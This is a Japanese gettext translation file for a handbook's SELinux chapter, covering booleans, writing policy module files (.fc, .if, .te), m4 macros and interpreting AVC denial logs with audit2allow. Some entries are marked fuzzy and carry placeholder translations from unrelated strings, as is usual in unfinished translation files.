msgstr "同様に TCP/UDP ポートをラベリングして、ポート番号とそのポートのリッスンを許可するデーモンを対応付けることが可能です。たとえば、ウェブサーバがポート 8080 番をリッスンすることを可能にしたい場合、semanage port -m -t http_port_t -p tcp 8080 を実行します。"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "top"
msgid "getsebool"
msgstr "top"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "top"
msgid "setsebool"
msgstr "top"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 getsebool;
# Ref: $ man 8 setsebool;
# Tag: L-CFMD;
#, fuzzy
#| msgid "Some SELinux modules export boolean options that you can tweak to alter the behavior of the default rules. The getsebool utility can be used to inspect those options (getsebool boolean displays one option, and getsebool -a them all). The setsebool boolean value command changes the current value of a boolean option. The -P option makes the change permanent, it means that the new value becomes the default and will be kept across reboots. The example below grants web servers an access to home directories (this is useful when users have personal websites in ~/public_html/)."
msgid "Some SELinux modules export Boolean options that you can tweak to alter the behavior of the default rules. The getsebool utility can be used to inspect those options (getsebool boolean displays one option, and getsebool -a them all). The setsebool boolean value command changes the current value of a Boolean option. The -P option makes the change permanent, it means that the new value becomes the default and will be kept across reboots. The example below grants web servers an access to home directories (this is useful when users have personal websites in ~/public_html/)."
msgstr "一部の SELinux モジュールでは、ブール値オプションを使ってデフォルトルールの挙動を微調整することが可能です。getsebool ユーティリティを使ってブール値オプションを調査します (getsebool boolean は 1 つのオプションを表示し、getsebool -a はすべてのオプションを表示します)。setsebool boolean value コマンドはブール値オプションの現在の値を変更します。-P オプションを付けるとこの修正が永続的なものになります。つまり、新しい値がデフォルトになり、再起動後も適用されることになります。以下の例では、ウェブサーバにホームディレクトリに対するアクセス権を与えています (ユーザが個人的なウェブサイトを ~/public_html/ の下に作る場合、この設定を使うと便利です)。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 8 getsebool;
# Ref: $ man 8 setsebool;
# Tag: L-CFMD;
#, fuzzy
#| msgid ""
#| "# getsebool httpd_enable_homedirs\n"
#| "httpd_enable_homedirs --> off\n"
#| "# setsebool -P httpd_enable_homedirs on\n"
#| "# getsebool httpd_enable_homedirs \n"
#| "httpd_enable_homedirs --> on"
msgid ""
"# getsebool httpd_enable_homedirs\n"
"httpd_enable_homedirs --> off\n"
"# setsebool -P httpd_enable_homedirs on\n"
"# getsebool httpd_enable_homedirs\n"
"httpd_enable_homedirs --> on"
msgstr ""
"# getsebool httpd_enable_homedirs\n"
"httpd_enable_homedirs --> off\n"
"# setsebool -P httpd_enable_homedirs on\n"
"# getsebool httpd_enable_homedirs \n"
"httpd_enable_homedirs --> on"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Adapting the Rules"
msgstr "ルールの適用"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Since the SELinux policy is modular, it might be interesting to develop new modules for (possibly custom) applications that lack them. These new modules will then complete the reference policy."
msgstr "SELinux ポリシーはモジュール式なので、モジュールの用意されていない (場合によっては特注の) アプリケーション用に新しいモジュールを開発する方法を知っておくと良いでしょう。新しいモジュールはリファレンスポリシーを満足させなければいけません。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "To create new modules, the selinux-policy-dev package is required, as well as selinux-policy-doc. The latter contains the documentation of the standard rules (/usr/share/doc/selinux-policy-doc/html/) and sample files that can be used as templates to create new modules. Install those files and study them more closely:"
msgstr "新しいモジュールを作成するには、selinux-policy-dev および selinux-policy-doc パッケージが必要です。selinux-policy-doc パッケージには、標準的なルールに関する文書 (/usr/share/doc/selinux-policy-doc/html/) と新しいモジュールを作成するためのテンプレートとして使えるサンプルファイルが含まれます。これらのファイルをインストールし、さらにしっかりと勉強してください。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Rec: https://packages.debian.org/sid/all/selinux-policy-doc/filelist;
# Tag: L-CFMD;
#, fuzzy
#| msgid ""
#| "$ cp /usr/share/doc/selinux-policy-doc/Makefile.example Makefile\n"
#| "$ cp /usr/share/doc/selinux-policy-doc/example.fc ./\n"
#| "$ cp /usr/share/doc/selinux-policy-doc/example.if ./\n"
#| "$ cp /usr/share/doc/selinux-policy-doc/example.te ./"
msgid ""
"$ cp /usr/share/doc/selinux-policy-doc/Makefile.example Makefile\n"
"$ cp /usr/share/doc/selinux-policy-doc/example.fc ./\n"
"$ cp /usr/share/doc/selinux-policy-doc/example.if ./\n"
"$ cp /usr/share/doc/selinux-policy-doc/example.te ./\n"
""
msgstr ""
"$ cp /usr/share/doc/selinux-policy-doc/Makefile.example Makefile\n"
"$ cp /usr/share/doc/selinux-policy-doc/example.fc ./\n"
"$ cp /usr/share/doc/selinux-policy-doc/example.if ./\n"
"$ cp /usr/share/doc/selinux-policy-doc/example.te ./"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "packet filter"
msgid ".te"
msgstr "パケットフィルタ"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "firewall"
msgid ".fc"
msgstr "ファイアウォール"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "firewall"
msgid ".if"
msgstr "ファイアウォール"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "The .te file is the most important one. It defines the rules. The .fc file defines the “file contexts”, that is the types assigned to files related to this module. The data within the .fc file are used during the file labeling step. Finally, the .if file defines the interface of the module: it is a set of “public functions” that other modules can use to properly interact with the module that you're creating."
msgstr ".te ファイルは最も重要なファイルです。.te ファイルがルールを定義します。.fc ファイルは「ファイルコンテキスト」を定義します。「ファイルコンテキスト」はこのモジュールに関連するファイルに割り当てる SELinux タイプを意味します。.fc ファイルに含まれるデータはファイルのラベリング中に使われます。最後に、.if ファイルはモジュールのインターフェースを定義します。つまり、モジュールのインターフェースは一連の「公開関数」で、他のモジュールはこの関数を使ってここで作成されたモジュールと情報をやり取りします。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Writing a .fc file"
msgstr ".fc ファイルの書き方"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Reading the below example should be sufficient to understand the structure of such a file. You can use regular expressions to assign the same security context to multiple files, or even an entire directory tree."
msgstr "以下の例を読めば、.fc ファイルの構造を十分に理解することが可能です。複数のファイルおよび完全なディレクトリツリーに対して同じセキュリティコンテキストを割り当てるために、正規表現を使うことが可能です。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "example.fc file"
msgstr "example.fc ファイル"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/4/html/SELinux_Guide/rhlcommon-section-0037.html;
# Ref: http://selinuxproject.org/page/NB_MLS;
#, fuzzy
#| msgid ""
#| "# myapp executable will have:\n"
#| "# label: system_u:object_r:myapp_exec_t\n"
#| "# MLS sensitivity: s0\n"
#| "# MCS categories: <none>\n"
#| "\n"
#| "/usr/sbin/myapp -- gen_context(system_u:object_r:myapp_exec_t,s0)"
msgid ""
"\n"
"\n"
"/usr/sbin/myapp -- gen_context(system_u:object_r:myapp_exec_t,s0)\n"
"]]>"
msgstr ""
"# myapp 実行ファイルのファイルコンテキスト定義:\n"
"# ラベル: system_u:object_r:myapp_exec_t\n"
"# MLS sensitivity: s0\n"
"# MCS categories: <none>\n"
"\n"
"/usr/sbin/myapp -- gen_context(system_u:object_r:myapp_exec_t,s0)"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Writing a .if File"
msgstr ".if ファイルの書き方"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
msgid "In the sample below, the first interface (“myapp_domtrans”) controls who can execute the application. The second one (“myapp_read_log”) grants read rights on the application's log files."
msgstr "以下の例では、1 番目のインターフェース (「myapp_domtrans」) はアプリケーションを実行できるユーザを制御します。2 番目のインターフェース (「myapp_read_log」) はアプリケーションのログファイルに対する読み込み権限を制御します。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
msgid "Each interface must generate a valid set of rules which can be embedded in a .te file. You should thus declare all the types that you use (with the gen_require macro), and use standard directives to grant rights. Note, however, that you can use interfaces provided by other modules. The next section will give more explanations about how to express those rights."
msgstr "それぞれのインターフェースは .te ファイルに組み込むことが可能な有効なルール群を生成しなければいけません。そんなわけで、管理者は (gen_require マクロを使って) 使用するすべての SELinux タイプを宣言し、権限を取得するために標準的な指示文を使うべきです。しかしながら、他のモジュールが提供するインターフェースを使うことが可能な点に注意してください。次の節では、これらの権限を表現する方法についてより詳しく説明します。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "example.if File"
msgstr "example.if ファイル"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: http://selinuxproject.org/page/NB_RefPolicy#interface_Macro;
#, fuzzy
#| msgid ""
#| "## <summary>Myapp example policy</summary>\n"
#| "## <desc>\n"
#| "## <p>\n"
#| "## More descriptive text about myapp. The <desc>\n"
#| "## tag can also use <p>, <ul>, and <ol>\n"
#| "## html tags for formatting.\n"
#| "## </p>\n"
#| "## <p>\n"
#| "## This policy supports the following myapp features:\n"
#| "## <ul>\n"
#| "## <li>Feature A</li>\n"
#| "## <li>Feature B</li>\n"
#| "## <li>Feature C</li>\n"
#| "## </ul>\n"
#| "## </p>\n"
#| "## </desc>\n"
#| "#\n"
#| "\n"
#| "########################################\n"
#| "## <summary>\n"
#| "## Execute a domain transition to run myapp.\n"
#| "## </summary>\n"
#| "## <param name=\"domain\">\n"
#| "## Domain allowed to transition.\n"
#| "## </param>\n"
#| "#\n"
#| "interface(`myapp_domtrans',`\n"
#| " gen_require(`\n"
#| " type myapp_t, myapp_exec_t;\n"
#| " ')\n"
#| "\n"
#| " domtrans_pattern($1,myapp_exec_t,myapp_t)\n"
#| "')\n"
#| "\n"
#| "########################################\n"
#| "## <summary>\n"
#| "## Read myapp log files.\n"
#| "## </summary>\n"
#| "## <param name=\"domain\">\n"
#| "## Domain allowed to read the log files.\n"
#| "## </param>\n"
#| "#\n"
#| "interface(`myapp_read_log',`\n"
#| " gen_require(`\n"
#| " type myapp_log_t;\n"
#| " ')\n"
#| "\n"
#| " logging_search_logs($1)\n"
#| " allow $1 myapp_log_t:file r_file_perms;\n"
#| "')"
msgid ""
"Myapp example policy\n"
"## \n"
"## \n"
"## More descriptive text about myapp. The desc\n"
"## tag can also use p, ul, and ol\n"
"## html tags for formatting.\n"
"##
\n"
"## \n"
"## This policy supports the following myapp features:\n"
"##
\n"
"## - Feature A
\n"
"## - Feature B
\n"
"## - Feature C
\n"
"##
\n"
"##
\n"
"## \n"
"#\n"
"\n"
"########################################\n"
"## \n"
"## Execute a domain transition to run myapp.\n"
"## \n"
"## \n"
"## \n"
"## Domain allowed to transition.\n"
"## \n"
"## \n"
"#\n"
"interface(`myapp_domtrans',`\n"
" gen_require(`\n"
" type myapp_t, myapp_exec_t;\n"
" ')\n"
"\n"
" domtrans_pattern($1,myapp_exec_t,myapp_t)\n"
"')\n"
"\n"
"########################################\n"
"## \n"
"## Read myapp log files.\n"
"## \n"
"## \n"
"## \n"
"## Domain allowed to read the log files.\n"
"## \n"
"## \n"
"#\n"
"interface(`myapp_read_log',`\n"
" gen_require(`\n"
" type myapp_log_t;\n"
" ')\n"
"\n"
" logging_search_logs($1)\n"
" allow $1 myapp_log_t:file read_file_perms;\n"
"')\n"
"]]>"
msgstr ""
"## <summary>myapp ポリシーの一例</summary>\n"
"## <desc>\n"
"## <p>\n"
"## ここには myapp に関する追加説明を書きます。\n"
"## <desc> タグの中では書式指定をするために\n"
"## <p>、<ul>、<ol> html タグを使えます。\n"
"## </p>\n"
"## <p>\n"
"## 本ポリシーは myapp の以下に示す機能を動作させるために必要です。\n"
"## <ul>\n"
"## <li>機能 A</li>\n"
"## <li>機能 B</li>\n"
"## <li>機能 C</li>\n"
"## </ul>\n"
"## </p>\n"
"## </desc>\n"
"#\n"
"\n"
"########################################\n"
"## <summary>\n"
"## myapp を実行するために SELinux ドメインを遷移させます。\n"
"## </summary>\n"
"## <param name=\"domain\">\n"
"## 遷移を許可する SELinux ドメイン。\n"
"## </param>\n"
"#\n"
"interface(`myapp_domtrans',`\n"
" gen_require(`\n"
" type myapp_t, myapp_exec_t;\n"
" ')\n"
"\n"
" domtrans_pattern($1,myapp_exec_t,myapp_t)\n"
"')\n"
"\n"
"########################################\n"
"## <summary>\n"
"## myapp のログファイルを読み込みます。\n"
"## </summary>\n"
"## <param name=\"domain\">\n"
"## myapp のログファイルの読み込みを許可する SELinux ドメイン。\n"
"## </param>\n"
"#\n"
"interface(`myapp_read_log',`\n"
" gen_require(`\n"
" type myapp_log_t;\n"
" ')\n"
"\n"
" logging_search_logs($1)\n"
" allow $1 myapp_log_t:file r_file_perms;\n"
"')"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "DOCUMENTATION Explanations about the reference policy"
msgstr "DOCUMENTATION リファレンスポリシーに関する説明"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#, fuzzy
#| msgid "The reference policy evolves like any free software project: based on volunteer contributions. The project is hosted by Tresys, one of the most active companies in the SELinux field. Their wiki contains explanations on how the rules are structured and how you can create new ones. "
msgid "The reference policy evolves like any free software project: based on volunteer contributions. The project is hosted by Tresys, one of the most active companies in the SELinux field. Their wiki contains explanations on how the rules are structured and how you can create new ones. "
msgstr "SELinux のリファレンスポリシーはフリーソフトウェアプロジェクトのように発展しています。すなわち、ボランティアの貢献が発展を支えています。このプロジェクトは Tresys によってホストされています。Tresys は SELinux 分野における最も活発な企業の 1 つです。Tresys の wiki には、ルールを構築する方法と新しいルールを作成する方法が説明されています。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Writing a .te File"
msgstr ".te ファイルの書き方"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Have a look at the example.te file:"
msgstr "それでは example.te を見てみましょう。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "GOING FURTHER The m4 macro language"
msgstr "GOING FURTHER m4 マクロ言語"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#, fuzzy
#| msgid "mrtg"
msgid "m4"
msgstr "mrtg"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
msgid "To properly structure the policy, the SELinux developers used a macro-command processor. Instead of duplicating many similar allow directives, they created “macro functions” to use a higher-level logic, which also results in a much more readable policy."
msgstr "適切にポリシーを構築するために、SELinux 開発者はマクロコマンドプロセッサを使いました。数多くの類似した allow 指示文を複製する代わりに、SELinux 開発者は高レベル論理を取り扱う「マクロ関数」を作成しました。「マクロ関数」のおかげで、ポリシーがとても読みやすくなりました。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
# Tag: PTAL;
# Ref: https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/4/html/SELinux_Guide/rhlcommon-section-0053.html;
msgid "In practice, m4 is used to compile those rules. It does the opposite operation: it expands all those high-level directives into a huge database of allow directives."
msgstr "具体的に言えば、m4 は複数のルール群から構成されるポリシーを構築するために使われます。マクロ関数は複数のルール群を 1 つの高レベル論理にまとめたものです。つまり、m4 はマクロ関数で記述された高レベル論理を allow 指示文の巨大データベースに展開します。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
# Ref: $ less /usr/share/selinux/default/include/support/loadable_module.spt;
msgid "The SELinux “interfaces” are only macro functions which will be substituted by a set of rules at compilation time. Likewise, some rights are in fact sets of rights which are replaced by their values at compilation time."
msgstr "example.if ファイルの例で使用した SELinux「interface」は単なるマクロ関数であり、m4 によるコンパイル時にルール群に置換されます。同様に、実際のところいくつかのパーミッションは単なるパーミッションの集合であり、m4 によるコンパイル時にパーミッションの集合に置換されます。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#, fuzzy
#| msgid ""
#| "policy_module(myapp,1.0.0) \n"
#| "\n"
#| "########################################\n"
#| "#\n"
#| "# Declarations\n"
#| "#\n"
#| "\n"
#| "type myapp_t; \n"
#| "type myapp_exec_t;\n"
#| "domain_type(myapp_t)\n"
#| "domain_entry_file(myapp_t, myapp_exec_t) \n"
#| "\n"
#| "type myapp_log_t;\n"
#| "logging_log_file(myapp_log_t) \n"
#| "\n"
#| "type myapp_tmp_t;\n"
#| "files_tmp_file(myapp_tmp_t)\n"
#| "\n"
#| "########################################\n"
#| "#\n"
#| "# Myapp local policy\n"
#| "#\n"
#| "\n"
#| "allow myapp_t myapp_log_t:file { read_file_perms append_file_perms }; \n"
#| "\n"
#| "allow myapp_t myapp_tmp_t:file manage_file_perms;\n"
#| "files_tmp_filetrans(myapp_t,myapp_tmp_t,file)"
msgid ""
"policy_module(example,1.0.0) # a non-base module name must match the file name\n"
"\n"
"########################################\n"
"#\n"
"# Declarations\n"
"#\n"
"\n"
"type myapp_t; \n"
"type myapp_exec_t;\n"
"domain_type(myapp_t)\n"
"domain_entry_file(myapp_t, myapp_exec_t) \n"
"\n"
"type myapp_log_t;\n"
"logging_log_file(myapp_log_t) \n"
"\n"
"type myapp_tmp_t;\n"
"files_tmp_file(myapp_tmp_t)\n"
"\n"
"########################################\n"
"#\n"
"# Myapp local policy\n"
"#\n"
"\n"
"allow myapp_t myapp_log_t:file { read_file_perms append_file_perms }; \n"
"\n"
"allow myapp_t myapp_tmp_t:file manage_file_perms;\n"
"files_tmp_filetrans(myapp_t,myapp_tmp_t,file)"
msgstr ""
"policy_module(myapp,1.0.0) \n"
"\n"
"########################################\n"
"#\n"
"# SELinux タイプと SELinux ドメインの宣言\n"
"#\n"
"\n"
"type myapp_t; \n"
"type myapp_exec_t;\n"
"domain_type(myapp_t)\n"
"domain_entry_file(myapp_t, myapp_exec_t) \n"
"\n"
"type myapp_log_t;\n"
"logging_log_file(myapp_log_t) \n"
"\n"
"type myapp_tmp_t;\n"
"files_tmp_file(myapp_tmp_t)\n"
"\n"
"########################################\n"
"#\n"
"# myapp のローカルポリシー\n"
"#\n"
"\n"
"allow myapp_t myapp_log_t:file { read_file_perms append_file_perms }; \n"
"\n"
"allow myapp_t myapp_tmp_t:file manage_file_perms;\n"
"files_tmp_filetrans(myapp_t,myapp_tmp_t,file)"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: http://selinuxproject.org/page/NB_RefPolicy#policy_module_Macro
msgid "The module must be identified by its name and version number. This directive is required."
msgstr "モジュールは名前とバージョン番号で識別されます。policy_module マクロは必須です。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: http://selinuxproject.org/page/TypeStatements
msgid "If the module introduces new types, it must declare them with directives like this one. Do not hesitate to create as many types as required rather than granting too many useless rights."
msgstr "モジュールによって新しい SELinux タイプが導入される場合、type 文を使って新しい SELinux タイプを必ず宣言してください。多くの無駄な権限を与えるのでなく、必要な SELinux タイプをすべて作成してください。遠慮はいりません。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ less /usr/share/selinux/default/include/kernel/domain.if;
# Ref: http://selinuxproject.org/page/RefpolicyBasicRoleCreation;
# Ref: https://github.com/TresysTechnology/refpolicy/blob/master/policy/modules/system/userdomain.te;
msgid "Those interfaces define the myapp_t type as a process domain that should be used by any executable labeled with myapp_exec_t. Implicitly, this adds an exec_type attribute on those objects, which in turn allows other modules to grant rights to execute those programs: for instance, the userdomain module allows processes with domains user_t, staff_t, and sysadm_t to execute them. The domains of other confined applications will not have the rights to execute them, unless the rules grant them similar rights (this is the case, for example, of dpkg with its dpkg_t domain)."
msgstr "ここでは domain_type および domain_entry_file インターフェースを使って、myapp_exec_t とラベリングされた実行ファイルによって使われるプロセスの SELinux ドメインとして myapp_t SELinux タイプを定義しています。こうすることで、暗黙のうちにオブジェクトに exec_type 属性が追加されます。このおかげで、他のモジュールは myapp_exec_t とラベリングされたプログラムを実行する権限を取得することが可能になります。たとえば userdomain モジュールを使うことで、user_t、staff_t、sysadm_t SELinux ドメインを持つプロセスが自分を実行することが可能になります。他の閉じ込められたアプリケーションの SELinux ドメインは、その SELinux ドメインに割り当てられたルールが同様の権限を取得しない限り (たとえば dpkg_t SELinux ドメインを持つ dpkg がこの場合に相当します)、myapp_exec_t とラベリングされたプログラムを実行する権限を持ちません。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ less /usr/share/selinux/default/include/system/logging.if;
#, fuzzy
#| msgid "logging_log_file is an interface provided by the reference policy. It indicates that files labeled with the given type are log files which ought to benefit from the associated rules (for example granting rights to logrotate so that it can manipulate them)."
msgid "logging_log_file is an interface provided by the reference policy. It indicates that files labeled with the given type are log files which ought to benefit from the associated rules (for example, granting rights to logrotate so that it can manipulate them)."
msgstr "logging_log_file はリファレンスポリシーによって提供されるインターフェースです。これは指定された SELinux タイプでラベリングされたファイルはその SELinux タイプに対応するルールから恩恵を受ける義務があるログファイルであることを表します (たとえば、logrotate がログファイルを処理することを可能にするために、logrotate に権限を与える場合に使います)。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: http://selinuxproject.org/page/PolicyLanguage;
# Ref: http://selinuxproject.org/page/AVCRules;
msgid "The allow directive is the base directive used to authorize an operation. The first parameter is the process domain which is allowed to execute the operation. The second one defines the object that a process of the former domain can manipulate. This parameter is of the form “type:class“ where type is its SELinux type and class describes the nature of the object (file, directory, socket, fifo, etc.). Finally, the last parameter describes the permissions (the allowed operations)."
msgstr "allow 指示文は操作を許可するために使われる基本的な指示文です。1 番目のパラメータはこの操作を実行することを許されたプロセスの SELinux ドメインです。2 番目のパラメータは 1 番目のパラメータで指定した SELinux ドメインのプロセスが操作することが可能なオブジェクトを定義します。2 番目のパラメータは「type:class」の形で定義します。ここで type は SELinux タイプで class はオブジェクトの種類 (ファイル、ディレクトリ、ソケット、名前付きパイプなど) です。最後に、3 番目のパラメータはパーミッション (許可された操作) を表現します。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: http://selinuxproject.org/page/AVCRules;
# Ref: /usr/share/selinux/devel/include/support/obj_perm_sets.spt
msgid "Permissions are defined as the set of allowed operations and follow this template: { operation1 operation2 }. However, you can also use macros representing the most useful permissions. The /usr/share/selinux/devel/include/support/obj_perm_sets.spt lists them."
msgstr "パーミッションは許可された操作の一式として定義され、以下のテンプレートに従います。すなわち { operation1 operation2 } です。しかしながら、最も役に立つパーミッションを表すマクロを使うことも可能です。/usr/share/selinux/devel/include/support/obj_perm_sets.spt には、最も役に立つパーミッションのマクロが説明されています。"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "The following web page provides a relatively exhaustive list of object classes, and permissions that can be granted. "
msgid "The following web page provides a relatively exhaustive list of object classes, and permissions that can be granted. "
msgstr "以下のウェブページでは、オブジェクトクラスと与えられるパーミッションの比較的包括的なリストが載せられています。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Now you just have to find the minimal set of rules required to ensure that the target application or service works properly. To achieve this, you should have a good knowledge of how the application works and of what kind of data it manages and/or generates."
msgstr "さらに、対象のアプリケーションやサービスが正しく動くために必要な最低限のルールセットを見つけ出さなければいけません。これを行うには、アプリケーションの動作方法とアプリケーションが管理および生成するデータの種類に関する詳しい知識が必要です。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "However, an empirical approach is possible. Once the relevant objects are correctly labeled, you can use the application in permissive mode: the operations that would be forbidden are logged but still succeed. By analyzing the logs, you can now identify the operations to allow. Here is an example of such a log entry:"
msgstr "しかしながら、経験的なアプローチが使えます。対応するオブジェクトに対する正しいラベリングが終わっていれば、アプリケーションを permissive モードで使うことが可能です。そして permissive モードでは、禁止されるであろう操作はログ記録されて実行されます。このログを解析することで、許可する操作を識別することが可能になります。以下は permissive モードでアプリケーションを動かした場合に記録されるログエントリの例です。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "avc: denied { read write } for pid=1876 comm=\"syslogd\" name=\"xconsole\" dev=tmpfs ino=5510 scontext=system_u:system_r:syslogd_t:s0 tcontext=system_u:object_r:device_t:s0 tclass=fifo_file permissive=1"
msgstr "avc: denied { read write } for pid=1876 comm=\"syslogd\" name=\"xconsole\" dev=tmpfs ino=5510 scontext=system_u:system_r:syslogd_t:s0 tcontext=system_u:object_r:device_t:s0 tclass=fifo_file permissive=1"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: https://wiki.gentoo.org/wiki/SELinux/Tutorials/Where_to_find_SELinux_permission_denial_details;
msgid "To better understand this message, let us study it piece by piece."
msgstr "このメッセージをより詳しく理解するために、それぞれの要素について勉強しましょう。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Analysis of an SELinux trace"
msgstr "SELinux ログエントリの解析"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Message"
msgstr "メッセージ"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Description"
msgstr "説明"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "avc: denied"
msgstr "avc: denied"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "An operation has been denied."
msgstr "操作が拒否されました。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "{ read write }"
msgstr "{ read write }"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "This operation required the read and write permissions."
msgstr "この操作には read と write パーミッションが必要です。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "pid=1876"
msgstr "pid=1876"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "The process with PID 1876 executed the operation (or tried to execute it)."
msgstr "PID 1876 のプロセスがこの操作を実行しました (または実行を試行しました)。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "comm=\"syslogd\""
msgstr "comm=\"syslogd\""
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "The process was an instance of the syslogd program."
msgstr "プロセスは syslogd プログラムのインスタンスです。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "name=\"xconsole\""
msgstr "name=\"xconsole\""
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "The target object was named xconsole. Sometimes you can also have a “path” variable — with the full path — instead."
msgstr "対象のオブジェクトは xconsole と名付けられました。場合によってはこれの代わりにフルパスを含む「path」変数が設定されていることもあります。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "dev=tmpfs"
msgstr "dev=tmpfs"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "The device hosting the target object is a tmpfs (an in-memory filesystem). For a real disk, you could see the partition hosting the object (for example: “sda3”)."
msgid "The device hosting the target object is a tmpfs (an in-memory filesystem). For a real disk, you could see the partition hosting the object (for example, “sda3”)."
msgstr "対象のオブジェクトをホストしているデバイスは tmpfs (メモリ内ファイルシステム) です。実ディスクの場合、オブジェクトをホストしているパーティション (たとえば「sda3」) になります。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "ino=5510"
msgstr "ino=5510"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "The object is identified by the inode number 5510."
msgstr "オブジェクトは inode 番号 5510 で識別されています。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "scontext=system_u:system_r:syslogd_t:s0"
msgstr "scontext=system_u:system_r:syslogd_t:s0"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "This is the security context of the process who executed the operation."
msgstr "これは操作を実行したプロセスのセキュリティコンテキストです。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "tcontext=system_u:object_r:device_t:s0"
msgstr "tcontext=system_u:object_r:device_t:s0"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "This is the security context of the target object."
msgstr "これは対象オブジェクトのセキュリティコンテキストです。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "tclass=fifo_file"
msgstr "tclass=fifo_file"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "The target object is a FIFO file."
msgstr "対象オブジェクトは FIFO ファイルです。"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "top"
msgid "audit2allow"
msgstr "top"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#, fuzzy
#| msgid "checksecurity"
msgid "policycoreutils"
msgstr "checksecurity"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#, fuzzy
#| msgid "By observing this log entry, it is possible to build a rule that would allow this operation. For example: allow syslogd_t device_t:fifo_file { read write }. This process can be automated, and it's exactly what the audit2allow command (of the policycoreutils package) offers. This approach is only useful if the various objects are already correctly labeled according to what must be confined. In any case, you will have to carefully review the generated rules and validate them according to your knowledge of the application. Effectively, this approach tends to grant more rights than are really required. The proper solution is often to create new types and to grant rights on those types only. It also happens that a denied operation isn't fatal to the application, in which case it might be better to just add a “dontaudit” rule to avoid the log entry despite the effective denial."
msgid "By observing this log entry, it is possible to build a rule that would allow this operation. For example, allow syslogd_t device_t:fifo_file { read write }. This process can be automated, and it is exactly what the audit2allow command (of the policycoreutils package) offers. This approach is only useful if the various objects are already correctly labeled according to what must be confined. In any case, you will have to carefully review the generated rules and validate them according to your knowledge of the application. Effectively, this approach tends to grant more rights than are really required. The proper solution is often to create new types and to grant rights on those types only. It also happens that a denied operation isn't fatal to the application, in which case it might be better to just add a “dontaudit” rule to avoid the log entry despite the effective denial."
